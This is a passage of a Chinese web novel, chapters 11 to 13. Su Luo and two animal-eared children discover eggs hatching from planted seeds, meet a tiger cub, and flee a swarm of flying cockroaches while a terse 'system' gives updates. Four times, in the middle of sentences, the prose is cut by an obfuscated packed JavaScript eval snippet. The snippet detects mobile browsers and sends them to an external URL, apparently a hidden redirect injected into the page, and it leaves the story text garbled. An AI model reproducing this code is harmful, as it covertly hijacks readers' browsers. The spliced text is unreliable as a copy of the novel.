卡西神情从容：“你也想和我交换情报，不是么。” 不然怎么可能特意照过来。 迪米深呼吸，选择直截了当地问：“我和你嘴里说的星际通用语，苏说的应该是本地语言，让我们两方无障碍交流的东西在哪里，你找到了吗？” 作为商人，哪怕可以使用翻译器，也需要精通多种语言，以备不时之需。 迪米自认是个成功的商人，对自己的要求只会更高。他一见到苏落，立刻意识到里面存在问题，所以才会乖乖学字，中途更是换了好多种语言念字，而从苏落的表情来看，她听懂了。 现在也是。 卡西：“目前没有任何发现。” 作为指挥官，卡西会说几种不同语言，虽算不上精通。他发现了迪米之前的举动，也发现迪米现在的口型和他学过的几种语言毫不相干。 “我们还能交流……这个‘翻译’的覆盖范围，太广了，大体上可以排除由苏随身携带。”迪米自言自语道，“应该是范围型大型器械。我们应该找到它，再改装成发信器。” “你精通机械制造和改装？”卡西捕捉到迪米的潜台词。 “当然，起码比你强。”迪米烦躁地揉了下头发，还不小心碰到不熟悉的耳朵，痛得嘶了一声。 “冷静点。” “呵。”迪米冷笑一声，“你想知道什么？外面的事？哪方面？” 卡西表情淡然：“你想知道什么？” “我先问了，你答不出来，现在该你提问了。”迪米清楚他们两人在争夺话语权、主导权，他先低头了，但这不是卡西回答不上来么，而且他还给出了自身优势。 卡西看了迪米一会儿，问：“你来之前，遇到了什么？” 迪米警惕地注视面前的白发男孩，半晌，含糊地说：“一点宇宙奇观？”又反问道，“你呢？” 卡西说得简短：“气态，应该是颗粒状聚集体。” 迪米表情变差：“淡灰色。” 卡西闭上眼睛，复又睁开：“是它。” 迪米控制不住地低喃：“那是什么鬼东西？” 11. 第 11 章 距离迪米出现不到两天，他已经丝滑地融入进日常生活中。 “我说，有必要每天起这么早吗？”清晨，迪米顶着一头乱发，从将房间一分为二的帘子后走出来，表情不善地看着另一侧的主人。 卡西把自己、自己这一半的空间收拾妥当，眼神扫过迪米时没有一点儿起伏：“现在是早餐时间。” “你自己不能安安静静地出去吃？非要把我吵起来？你吃个饭不会还要人试毒吧？”迪米最后一句的音量压得很低。 卡西没有特地放低回复的音量：“不需要。” 当迪米第一次吃下果实，却没有出现任何反应时，卡西已经得出了结论。 迪米眯着眼睛，突然凑上去，声音几不可闻，却不怀好意：“你那个锻体操，实际是从军部格斗术演变而来的吧？苏看不出来，我还是能看出来。” 卡西很清楚，迪米在试探他的来历。两天前他们交换过部分信息，但彼此同样隐瞒了更多的情报，他们彼此心知肚明。 “是又如何？只是衍生成果而已。” “冷静，有大将之风。”迪米嘴角笑着，眼睛仔细观察面前的人。 “多谢夸奖，比不上你信手拈来的撒娇。”卡西波澜不惊地回望。 迪米在推敲他的来历，他同样在揣测迪米的来路。 卡西在第一次和迪米单独交流的时候，使用过军部内隐秘手势，迪米没有反应，可以排除很多可能。 “喂！你！” 房间外，苏落正在伸懒腰，听到新建的大房间里传来熙熙攘攘的声音，表情无奈又麻木。 这两天，她亲眼看着两小孩吵闹不止。 迪米性格外放，会吵会闹，苏落不觉得意外，但卡西会冷静地接茬，有时还会若无其事地说出让迪米血压暴增的话。 苏落暗暗惊讶，没想到早熟如卡西也会有如此孩子气的一面。旋即又觉得，和同龄人的相处才让卡西释放了一部分真实的自己。 苏落熟练地敲门，打断房间内愈发热火朝天的气氛。 迪米鼓着脸出门，一边软着声音和苏落告状，一边想，那家伙一定是故意惹他生气。 卡西还说他装小孩冲苏落撒娇，明明卡西自己也在用和他吵闹装嫩！ 吃完饭、锻炼完，迪米以今天不想见到卡西的脸为理由，表示等会儿要和卡西分开走。 “要是寻宝的时候，一抬头就看见卡西，那多坏心情啊。”迪米光明正大地对某人指指点点。 卡西颔首：“深有同感。” 苏落看看一脸指责的迪米，又看看表情淡定的卡西，沉思片刻，了然地问：“你们俩想单独做什么？” 囿于迪米和卡西一来就不太对付，苏落没有特别要求两人在废城里转悠的时候，必须一起行动，现在特意这么说，明显意味着有内情。 卡西没说话，迪米满脸无辜：“没有啊。” 苏落抬头，看了眼已经清理出一小片区域的城市，心中突然升起一股模糊不定的犹豫情绪。 觉得危险吗？没有，只是不知为何，她觉得，城市……好像多了很多生气？ 系统说星球上没有动物，植物也最近才慢慢长了一些出来，没什么外部生存危机，所以苏落以前比较放心小孩子单独进入城市。 但此刻，她突然有些不确定。 而且从昨天到今天，系统没有回复留言，失联的时间比之前更长。 看出苏落在犹豫，迪米打了个激灵，眼神一凛，光速跑进房间，拿了块板子出来。 “姐姐快看！”他高举竖长椭圆形的板子，板子下还有四个轮子和一些零件，“这是我做的光能滑板，有了它，来回又快又方便！” 苏落接过来，仔细看看，惊叹地点头赞扬。 小孩们的精神力储备和持续性不够，有滑板当出行工具，方便太多。 但。 这不明摆着要作妖了吗？ “在外面看看就行，不准进入我没有清扫过的建筑，知道吗？”苏落笑容和善，她掐住迪米的脸颊，白嫩的皮肤迅速泛红。 苏落难以说不，她前脚鼓励迪米要努力，现在迪米努力给她看了，自然不好阻止。 “一切可能都有个大前提，”她盯着迪米，冷静道，“活着，听到没？” 迪米眨眨眼睛，大声说：“知道了，听到啦！” “你最好做到。” 苏落松开手，心里叹息，如果换成一般的孩子，她是十万个不放心他/她单独行动，但眼前这两个…… 苏落抬手拍拍卡西的肩：“你也是。” 感觉这俩小孩在吵闹中变默契了啊。 “我今天就待在院子里，要是遇到什么处理不了的情况，记得早点回来。”苏落想了想说。 被苏落赶出院子后，迪米抱着滑板，和卡西走了一段路，两人都没说话。 “你的在主路右边第三栋建筑后面。”迪米不想继续和卡西玩谁先说话的游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184517|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他放下滑板，撂下一句话后，溜溜达达地启动离开。 “别走太远。” 迪米惊异地转过头，胡乱地对提醒他的卡西挥挥手示意知道了。 卡西找到迪米制作的第二块滑板时，还在想苏落今天举动异常的原因。 苏落也在想自己今天怎么了，思来想去，没想明白当前模糊的感受，而是开始思考自己的行动速度和效率。 城市清理成效还行，种子也在兑换在种植，可是和卡西和迪米的所作所为一对比……她是不是动作有点慢了？ 看啊，卡西不到两天亮明态度积极寻找学习，迪米不到两天就受挫工具踏上更远的路，而她呢？ 视线落在耕耘过的土地上，苏落无意识地踱步过去坐下，手撑在背后，仰头望天。 苏落慢慢思索，她是不是被这座城市困住了？她……她被中央的那颗大树，还有系统一开始的建议困住了吗？ 苏落心里，一种声音在高声否认，在说她哪里被困住，想要发展星球物种多样性，当然得慢慢来，她才在这座城市附近住了不到一个月，有这样的成果已经很高效。 另一种声音在承认。 难道她就没有更快捷的种植方法吗？用精神力一划，在将种子洒下，完整的水汽循环会带来自然的滋润，它们不需要她多加照顾，会自己发芽生长，她可以去更多的地方，更快速地完成任务。 她…… 苏落正想的出神，冷不丁指尖碰到了个冰冰凉的硬物，触感和土地完全不同。 她低下头，确认自己没有抓破地面，那这是什么？ 只见薄薄的一层土壤下，依稀能看见一点白色的东西。 苏落轻轻用手抚开稀薄的土壤，小心挖掘，表情莫名地看着那白色的、圆圆的…… 蛋？ 这个动物灭绝的星球终于有了新的本土生物？真从种子里、从地里长出来了啊？ 苏落双手捧着小巧的白蛋，眼神放空了好久，然后她直挺挺地站起来，把蛋放在一边，一个个地检查所有种过种子的地方。 这里土壤微微隆起，挖一挖，又是个蛋，这个没动静，下个…… 苏落检查完一圈，发现了近百枚大小不一、颜色有区别的蛋。 等它们的壳破裂，会冒出多少小动物呢？苏落好奇又欢喜地想，会不会…… 倏然间，苏落扭头看向废城方向，眼神凝固了。 动物，城市里的生气……不会吧？ 12. 第 12 章 小院经过多次扩建，囊括的面积已不算小，从篱笆上的木门到院子中心的小屋，步行需要近十分钟。 情绪紧绷下，苏落连一半的时间都没用到，已经站在木门外，眉头紧皱地看向废城方向。 现在最关键的问题是，城市里有大型生物吗？ 如果有的话，会威胁到卡西和迪米的生命安全，那她该如何快速找到他们？万一她出去找人，他们中途回来，反而会错过。 “范围太大……” 苏落陷入思考，如果有定位系统就好了。不，不止如此，即时通讯器更重要。 苏落深深吸气，觉得自己之前搜索残存书籍的态度不够积极，否则早点找到早点学习，就能制作出派得上用场的工具。 人类的智慧啊。 莫名的情绪一闪而过，苏落收回发散的思维，在脑海里敲字问系统。 【在？能不能找到卡西和迪米的当前位置？】 问完，苏落取出一块打磨好的木板，在木板上刻字，防止出去的人和回来的人错过。 “我去废城里……” 苏落刚刻下开头几个字，直觉性的凝神一看，发现系统突然上线。 【检索中……地图功能已开启，猫尾巴和熊耳朵位置已标记。】 【！】 苏落没想到惯性失联的系统今天回复得如此及时。 她眨眨眼睛，一幅清晰的半透明平面地图出现在眼前，随着她的视线移动。 地图上有三个点，一绿一蓝一黄。 苏落观察了一下，发现绿点代表她自己，蓝色的是卡西，剩下的黄色是迪米。 无视系统给俩孩子起的代号，奇怪了下不同颜色代表的意义，苏落接着问：【谢了！他们现在安全吗？】 系统：【请定义安全标准。】 苏落无奈地叹气，再次坚定去找人的想法：【还有，这两天星球上有发生什么奇怪的事吗？】 系统：【？】 系统：【哪方面？】 苏落放下木板的手顿住，还“哪方面”？ 【比如说，物种变多了吗？】她想了想，决定先解决当前问题。 【能量异常，生物复苏已提前开启。】 系统的话彻底粉碎苏落的侥幸心理，她默默关上木门，有些忧虑地看了眼比她还高的篱笆，怀疑它们能否挡住“复苏的生物”，扭头奔向距离她更近的卡西的位置。 【复苏进程到哪儿了？出现大型野生动物了吗？】苏落边跑边忍不住追问。 系统：【请定义何为大型野生动物。】 苏落：【……】 【能量异常的原因？】她顿了顿，问，【如果没有我，星球也会出现这种情况吗？】 如果生物会自然复苏，那系统何必带她来这里，给她发任务？完全没必要啊。 系统：【&#████████】 【……】苏落很是无语，【说点能说的？】 她不理解打码的原因。 系统回复的速度变慢了：【你█……你是█████的前置条件。】 苏落凭直觉做填空题：【我来了，才会有生物复苏？】 【是。】 苏落说不出现在心情如何。 她飞速穿过逐渐覆盖上藤蔓的楼房，这时，一抹从天际滑翔而过的黑点引起她的注意。 苏落定睛一看。 黑色的羽毛，尖尖的喙，小小的爪子，小小的身体。 【……那是鸟？什么鸟？】苏落很震惊，系统陈述是一回事，亲眼看到是另一回事。 与此同时，她悬着心终于死了，落地了。 【为什么我，】苏落卡了一下，继续说道，【我们精心浇灌的种子有的没动静不发芽，有的还只是颗蛋，外面就有成体了？】 系统惊讶道：【种子只需要洒在土地上，你做了什么？】 待系统得知苏落天天指挥卡西用红果的汁液浇灌种子。 【请停止浇灌，并扩大每颗种子之间的距离。如果蛋已孵出，请至少间隔一百公里放置一只。】 苏落竟从系统的话里听出淡淡的死气。 【我记得你只保留了红果的饱腹功能。】她仰头看向天空的小鸟，表情镇定，心里尖叫：她只是想让种子快点发芽而已！ 【除此以外，它蕴含人体所需的各种营养，】系统冷漠地说，【对新生的生物而言，它同样是大补物品，会增强生物体质。一定环境内此类生物过多，会对生态系统造成负面影响。】 简单来说，补得多长得壮长得也更慢，而且一山不容二虎。 苏落视线下移，面上淡定表示：【还好，我最近打算到处看一看，顺便给它们换个生长环境。】 系统没再出声，又掉线了。 苏落无声叹了口气，扶着额头，没忍住，又笑了笑。 瞌睡来了枕头，怎么会这么巧？ 她把更多注意力放在地图上，意外发现代表卡西的蓝点正在向她靠近。 “卡西！”苏落惊喜道，“没遇到危险吧？” 卡西正在往回走，人类的呼声让他停下滑板，看到苏落的那一刻，他瞳孔轻微缩小，头顶的耳朵瞬间直直地竖起来。 苏落招呼卡西和她一起走，发现滑板速度不够快跟不上自己，苏落直接一手抱卡西一手拎滑板。 卡西很轻微的深呼吸了一下，接着冷静地问：“你发现了什么？”他仰起头，“和天空中的隼有关？” 半小时前，卡西站在地下入口处，幽微而陌生的警觉让他没有立刻进入其中，随后，抬眼看见飞翔的幼隼，想起离开前苏落的反常举动，他果断折返。 苏落想，原来那鸟的名称是隼。 “我们院子里长蛋了，我担心你们可能会遇到更多动物。”她给出一个似模似样的理由。 卡西无声地看着苏落。这理由虽说得通，但并不能解释她如何找到他。 卡西保持着沉默，安静看着苏落目标明确地往某个方向前进，只从苏落手里接过滑板，自己拿着。 “应该快到了，我们……” “吼——！” 突然响起的嘶吼声打断苏落的话，顷刻间，她眼神沉下来，毫不犹豫地放出精神力，气势汹汹地冲向破败建筑后，随后表情顿住。 “听声音，应该是虎类生物，大约在幼生期。”卡西侧耳凝神，仔细分析道，“除此以外，只有零星的撞击声音，但应该不是迪米。” 他看向苏落，意外发现她神情微妙。 看来情况还在控制中，卡西绷紧的神经舒缓下来。 这是一片未经清理的区域，前身大概算是别墅区，房子普遍只有一两层。苏落放慢速度，小心地寻了栋楼走进去，找了个没窗户的二楼落地窗，才把卡西放下来。 苏落和卡西都沉默下来。 “吼！”“嘭。”“嗷！”“嘭。”“嗷嗷！！” 几米外，一套只有一层的别墅被时间侵蚀成断壁残垣，只留下顽强矗立的几面墙壁。迪米正坐在其中一面墙壁的顶端，以眼花缭乱的手速飞快捣鼓滑板。 一只白色为底，拥有黑色条纹的小动物正嗷呜叫着扑向墙壁。每扑一次，墙壁晃动一次，小动物愤怒叫一次。 累计几次后，墙壁开始摇晃，迪米冷静地抬头评估，轻盈地跳跃到另一面墙壁顶端，重新坐下修理。小动物也晃晃头，换一面墙壁撞。 “好漂亮的小猫！” “幼生期白虎。” 卡西放低的声音几乎被苏落的赞叹彻底掩盖，但安静的环境让迪米清晰地听到了两人的话。 “你们怎么来了？”迪米愕然地问。 已经失去遮掩的必要，卡西抱着滑板，音量正常，面无表情地反问：“我们不来，你打算怎么突破？” 其实他更想问的是，一只体型就比中型犬大一点的小老虎，你处理不了？ “我当然有办法，等我装好滑板能量装置就能甩开它。”迪米有些恼火地说，“别小看它，它力气不小。” 啧，要不是这老虎突然窜出来的时候，他下意识用滑板挡了一下，现在保准整个肩膀都是红的。 当然，也因为滑板替他挡住第一下攻击，板子才会裂开，上面的电路才会发生故障，暂时跑不了。 卡西听苏落的嘱咐，站在二楼窗口和迪米聊天，缓解迪米情绪上的压力，视线轻轻下移，渐渐的不再接话。迪米也放下手中没修完的滑板，趴在墙上，瞪大眼睛往下看。 两人交流的声音当然吸引住了小老虎，它睁着一双蓝色的眼睛，左看看高处的迪米，右看看窗口的卡西，小脑袋一转，竟然迈步跑向卡西所在的建筑。 如果它能找到上去的楼梯，或许可以尝尝之前没尝过的味道。 但苏落脚步轻快地走出来，望着逐渐接近的小老虎，她蹲下来，轻声呼喊：“咪咪？” “嗷？” 小老虎抬起头，脚步变慢，迟疑地看着面前的巨兽蹲下来，冲它发出友好的声音。 “咪咪过来。” 苏落眼睛很亮，天知道当她得知星球上没有动物的时候，她有多沮丧。后面来的俩“小动物”还都不是能随便碰的，苏落只能在心里摸一摸，行动上保持绝对的距离。 现在不一样了。 一只单纯的野生动物，一只毛色漂亮身形矫健的小猫咪来了！ 迪米？迪米不是好好的在上面坐着吗？ 小老虎盯着面前的人看了一会儿，疑惑它的同族不长这样，为什么它会觉得很亲近。它又嗅了嗅，是很好闻的很安全的味道，可记忆里没闻过啊。 想了一会儿想不明白，小老虎歪歪头，干脆扑了上去。 “嗷呜！” “咪咪！” 苏落将扑上来的小老虎抱了个满怀，身形没有丝毫的后退。老虎头亲密无间地挂在苏落肩膀上，和脖子上的大动脉距离为零。她站起来，小老虎的身躯受重力影响，在她怀里变成一长条。 “嗷呜嗷呜！” “别舔别舔！” 小老虎欢乐地叫着，伸出舌头试图给苏落舔头发。苏落笑着，一只手揉小老虎的头，侧头避让，另一只手从它的颈部摸到尾巴尖。 软软的，小猫咪还小，绒毛都是软的！苏落发出幸福的叹息。 “你怎么这么可爱呀。” “嗷呜！” 迪米注视着这一幕，久久无言，直到一道熟悉的声音出现在墙壁下。 “还不下来吗？”卡西一手拿滑板，一手拿自己做的背包， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184518|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情放松。 迪米哽了一下，顺着墙滑下，指着苏落和老虎，问：“你就没什么想说的？” “我以为这不算什么。”和他们自身的变化相比，眼前这的确不值得太过惊讶。 迪米彻底哽住，他挥舞手臂：“明明很多槽点！比如老虎哪儿来的？又为什么……”他含糊过去，接着说道，“你没和它正面接触，你不知道它的力气多大！而且那头骨的坚硬度也太离谱了！我跟你说，它不是普通老虎，要是生活在星际里，它绝对能评上……” 卡西眼里毫无波动。 “评上什么？”苏落抱着小老虎走近，笑着问。 “……”看着和自己间距就几米的老虎，迪米控制上墙的想法，含混道，“评上动物危险度的星级。” 苏落想也不想：“咪咪哪里危险啦？”说完，她看到迪米不赞同的表情，理解地用一只手牢牢控制住小老虎，“对一些人不危险。” 卡西中肯地点点头。 该死的，迪米木着脸，痛恨自己不合时宜的好胜心和自尊心，更痛恨自己现在的弱小。 “吼。” 小老虎似乎听懂了追逐过的人在说它坏话，又或者单纯还想咬两口原定目标，它张开血盆小口，低低地吼出声。 两双有些相似的蓝眼睛对视，迪米表情更空白了。 苏落笑着把手放进去，好奇地摸摸小老虎的上下牙，尤其在两边最尖的牙齿上多停留了一会儿。 “嗷，叽。”小老虎看上去不是很愿意，没怎么挣扎，只用声音抗议。 “不舒服吗？”苏落没忍住，低头亲了口小老虎的头，收回手说，“不摸了不摸了。” “叽叽。” “好好，其它地方可以摸是吧，知道啦。” 听着身边黏糊、诡异的声音，迪米整个人都不好了。 “那真是老虎？”迪米开始怀疑过去的认知是不是有问题。 卡西看了一会儿苏落和老虎的互动，转头观察周围：“理论上，幼虎可以发出此类声音。” 迪米其实想问卡西，你觉不觉得老虎的眼睛和他的有点像。但是，但是！他绝对不会像这只没有羞耻心的动物一样露出那样惬意的眼神，和那样黏腻的声音。 迪米用手捂住嘴，强迫自己闭紧嘴巴，扼杀问出这个问题的可能性。 ……他的行为举止是不是被身体年龄影响了？ 迪米垂下眼，视线内熟悉的手指让他的大脑冷静下来，也方便他清楚看到卡西一动不动的尾巴。 “……” 噢，迪米恍然，虽然他们都不认为自己和野兽有关系，但当前的局面存在一些物理上的联系。 他只是和老虎眼睛颜色比较像，从耳朵推测，可以肯定不属于猫科，但卡西的耳朵和尾巴几乎明摆着说他身上多的器官归属猫科。 和眼前的老虎一个科属！ 迪米的心情迅速回升，愉快而同情地试图去拍卡西的背，以表支持。 卡西闪身错开，给了迪米一个莫名其妙的眼神。 迪米摊手作无辜状，卡西没再管他为什么发疯。 “好啦，好姑娘，下来。”苏落终于吸完小老虎，不舍地将它放在地上，轻轻推它，“你该走了，走吧。” “嗷？”小老虎绕着苏落的腿转了一圈，不理解地用头顶她的腿。 苏落声音柔和，用手轻拍它的背：“好姑娘，你该去觅食啦。” 卡西忽的看过来。 “去吧。” 小老虎蓝色的眼睛专注地盯着苏落，片刻后，它嗷了一声，行动间没有任何声音，安静离开了。 离开前还特地看了眼迪米，似乎记住他了。 迪米扯了下嘴角，决定更加重视早晚的锻炼。 三人就突然出现的动物聊了聊，默契地忽视彼此一些疑点。 迪米见状，主动表示说：“我昨天做了个很粗糙的声波探测器，发现这边的声响比较频繁，觉得很奇怪，所以想来看看。” 虽然苏落说过星球上就他们三个人，也带迪米去高处看过周边，但既然接收到高频波次，无论是出于哪种原因，都该来看看。 最好能发现人类活动的痕迹。 可惜。 迪米在心里遗憾了一下，很快积极投入后续探索：“来都来了，去看看嘛姐姐。” 苏落遵循人类自古流传的“来都来了”的定理，和卡西一同陪迪米继续往前走。 “咔擦。” 没走多远，迪米脚步一停，谨慎地抬起脚，鞋子和地面漫开些许浆液。 “啊，蟑螂。”他面无表情地说，“我觉得我们不用再去了，我觉得前面就是个蟑螂窝。” 卡西正眯着眼看前方，闻言讶异地问迪米：“你怕蟑螂？” “谁怕了！？”迪米立刻跳脚，鞋子触碰地面的那一刻，他的表情扭曲了一下。 “我觉得可以怕一下。” 苏落表情麻木，手臂一弯，揣上俩小孩，扭头就跑。 “嘶嘶——噼啪——” 背后，一排飞天蟑螂呼啸而来。 卡西沉默了，迪米紧紧闭上眼睛，手死死抓住苏落胳膊，无法遏制地放声大叫。 “啊啊啊！别过来，别过来啊！！！” 13. 第 13 章 成功甩掉“双马尾”大军后，苏落提议回院子休息。 虽然今天白天才过了一半，变换的情况来回拉扯苏落的神经，让她精神疲惫，只想回去歇歇。 一停下来，卡西立刻从苏落怀里跳下来。他想到苏落口中的蛋，认为最好先回去看看，点头同意。 迪米似乎在几分钟前的“逃亡”里消耗了大量精力和说话的能力，魂到现在还没回来，半天没吭声。 苏落一看，问卡西要不要抱着回去，被拒绝后，左手挂失魂落魄的迪米，右手边是骑着滑板的卡西。 走了好一会儿，迪米终于回过神。 “我们就这样走了吗？”迪米回头，心有余悸地扫一眼之前的方向，连忙转过视线，茫然地问苏落，“不提前做点什么？” 苏落：“？” 她一头雾水地问要做什么。 迪米理所当然地说：“虽然不清楚它们突然出现在那里的原因，但既然发现了，我们应该想办法消灭它们啊。” 那种万恶的节肢动物就不该存在！早发现早处理早消灭！ 苏落更疑惑了，她斟酌着语气说：“这一次声波探测器结果有异，我相信，下次的结果肯定会比这次好，不用灰心。” 言外之意，迪米不需要因为一次失误而恼羞成怒，要去灭蟑螂。 迪米震惊而怀疑：“？” 他斜上方的面孔写满了认真，一时间，他无法分辨苏落是在开玩笑笑他，还是真这么想。 打蟑螂，多寻常一件事。要不是这里是个不折不扣的乡下地方，他直接吩咐一声让各种机器处理，专业又迅速。 卡西抬起头，抿了抿唇，眼神若有所思。 “第一版机器做的急，零件还有很多缺失，出问题正常。等以后我熟悉了，绝对不会再出现这种错误。”迪米先为自己辩解，然后严肃问道，“你不愿意消灭蟑螂？” 苏落觉得迪米在说废话。 迪米辨别出苏落态度正经，忍不住张口惊叹，张了一半硬生生掰回来：“哇……我，咳，我是说，如果咱们院子附近出现蟑螂呢？” 苏落：“赶走就好。”她想了想，考虑到迪米立场鲜明，说，“进来的随便你们处理。” “为什么？”迪米追问道。 苏落自然地说：“它们也是生态系统的一环。” 迪米忍了忍，实在没忍住：“如果放任不管，哪天它们发展壮大到一定程度，占据星球大部分区域怎么办？” 苏落你醒醒，蟑螂那玩意儿繁殖速度快得很，两天不见就能整出一大群！ “不会啊。”苏落觉得自己的想法很中肯，“它们只是比较恶心，实力方面还是太弱，不可能出现你说的情况。” 迪米还想和苏落争辩两句，卡西不露声色地接话：“苏因为恶心蟑螂而避开它们，也就是说，我们中只有迪米你觉得害怕。” “我哪儿怕了？”迪米瞬间炸了，“我也只是恶心它们而已！” 卡西和迪米开始“讨论”，苏落观察了下周围，没发现异常，舒了口气，思索以后出行的方式。 想要分散院内的动植物，距离一远，来回的交通就是个问题。 首先想到的解决方案是汽车。 苏落穿来前没考过驾照，但现在这模样，只要保证车内人的安全，其他一概不需要考虑。 问题是，她清理城市那么久，没遇到过一辆能用的汽车，轮子还都风化了，基本只剩个光秃秃的车架。 苏落苦恼地想，就算找到还能开的车，能源也需要头疼。 【能兑换交通工具吗？】 苏落在脑海里问，没想到系统立即给出回答。 【当前无法兑换飞行器。】 苏落：【……？】 外面已经发展到使用飞行器了么。 系统过了几秒回复道：【进入下一个阶段，可以兑换即时通讯器。】 苏落十分惊喜：【没想到你这么贴心。】 有了通讯器，她、卡西、迪米，三人一人一个，以后有什么事可以直接在上面说。 【……】系统停顿片刻，【仅可以兑换一个。】 苏落试图讨价还价，见系统没反应，还是问了句系统是不是不喜欢卡西和迪米。 先不说系统对两孩子的态度，苏落基本可以确定，星球物种越丰富，系统能做的越多。先前只能换营养液，现在可以开通地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏落连忙找出个纸盒子，将掌心里的幼鸟放进去盖上盖子，又在顶部开了个小洞。 “我这边处理好了，迪米你实在害怕的话，去外边等我抓到蚰蜒再进来。”苏落急匆匆将纸盒放在房间内，挽起袖子，神情严肃，像是即将奔赴一场艰难的战斗。 她做好了从迪米手下极限挽救蚰蜒的准备。 结果一转头，发现个头还不及她腰的男孩正在院子里上蹿下跳，边跳还在边小声嘀咕。 苏落走近才听清迪米在嘀咕什么。 “怎么可能抓不到？不可能……这不可能！” 苏落瞅瞅地上走位诡异而迅捷的蚰蜒，又看看举着滑板满脸不可置信的迪米，默默放下挽起的袖子。 看来它不需要她拯救。 “帮个忙？”苏落问道。 “怎么帮？”卡西回答。 苏落对比三人的体型、卡西的意愿后，看准机会，双手一伸逮住迪米两只胳膊，抬起来时迪米的腿还在空中划了几下。卡西则眼疾手快地将蚰蜒盖在第二个纸盒下，没给它继续折腾的可能。 迪米愣了几秒，和卡西抬起的视线对上，立刻回过神来。 好小子，你那眼神是在说我菜是吗？ 迪米气不打一处来，冲着苏落喊委屈：“姐姐你看！他在笑话我！” 苏落咳了一声，轻轻放下迪米，用手将额角的碎发挽到耳朵后，整理完措辞才开口道：“放心，等会儿我就放归蚰蜒，保证离我们院子很远。” 迪米嘴瘪了。 苏落不得不安慰一二：“是滑板太大不好拿，换个工具，可能它早就死了。” 将迪米哄好，苏落从卡西手里接过纸盒，同样放到她的房间里。这次她还特意用绳子缠了几圈，确保不会中途散架。 屋外，迪米站在卡西身旁，冻着一张小脸低声问：“那个所谓的锻体操就算了，刚才的身手可不像个普通人能有的。” 虽有表演的成分，但以他现在的状态，确拿那玩意儿没办法。 卡西蹲在土地边仔细检查，闻言淡淡反问：“两天，从零开始寻找并制作两个光能加速元件，一个声波探测器，你是普通人吗？” 能载着他们行动的滑板中，平整的板面是制作难度最低的，其它无一不需要深厚的知识储备和动手能力。 “我当然不是普通人。”迪米说得很坦然，问得也很直接，看向卡西的目光里满是探究，“你也不是。你之前是个佣兵？” 他拉长尾音，“还是个星盗？” 卡西面上没有任何表情波动，身后的尾巴却悄然炸开了一点。 “哦，我明白了。”迪米了然地说，“你是军人？官方的人？” 卡西再次思考能不能一刀把没用的东西砍断。 “你提到‘官方的人’的时候，姿态故意放松了很多。”他小心地将幼鸟翻出来的土放回去。 “是故意的。”迪米耸耸肩，“我一良民，遇到官方的人当然会觉得开心。” 卡西随口说：“是吗？那你在哪所研究院、哪家公司工作？请配合调查。” 迪米哇了一声：“背调吗？请出示你的证件，不然我可要举报啦？” “举报什么？”苏落一过来就听到模糊的几个字，很想叹气，“又怎么了？” 迪米高高举起手，大声说：“我要举报卡西！他把地里的种子挖出来放自己兜里了！” 苏落用眼神询问原因。 卡西处理完土壤，站起来排掉手上沾染的泥土，将兜里的种子拿出来。 “这个被幼鸟啄破，可能再长不出来了，可以给我玩玩吗？我很好奇。” 向来聪明的小孩冷静地表达自己的好奇心、探索欲，苏落当然不会说不可以。 “行，”她还拿出一枚蛋，“想试试能不能孵化它吗？” “想。” “拿去吧，记得晚上睡觉的时候不要放在床上，免得翻身把它压坏了。” 虽然苏落不觉得这批经过精心浇灌的蛋壳那么脆，但不怕一万就怕万一。 卡西：“好。” 他指了指，示意苏落看过去，“我把幼鸟和蚰蜒孵出后的蛋壳堆在了篱笆下。” 居然没被吃掉？因为其它种子比蛋壳营养高？ 苏落惊讶一瞬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197156|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心想，不能再喂红果，有蛋壳就好，它们今天的口粮有着落了。她决定之后找机会表扬卡西。 迪米看看蛋壳碎片，又看看卡西手里的蛋，皱着眉毛问：“姐姐，你知道蛋里的生物是什么吗？” 他比划着，很不理解蛋为什么会孵出一只蚰蜒，完全不在他的认知中。他看上去很担心再孵个节肢动物出来。 “把它当成开盲盒吧。”苏落无奈地说，“这大概是本地特色？” 来这颗星球之前，她也没听过这款孵化方式。 迪米轻飘飘地和卡西对视一眼，接着问：“那姐姐打算把蚰蜒放到哪里去？” 他提议水里很好。 卡西否决，说蚰蜒不能在水里生活，并表示它是益虫，让迪米别太应激。 在两人又开始唇枪舌剑前，苏落果断作出决定：“好了，我会把它放到城市另一边去，离我们很远，以后你基本不会再见到它。” 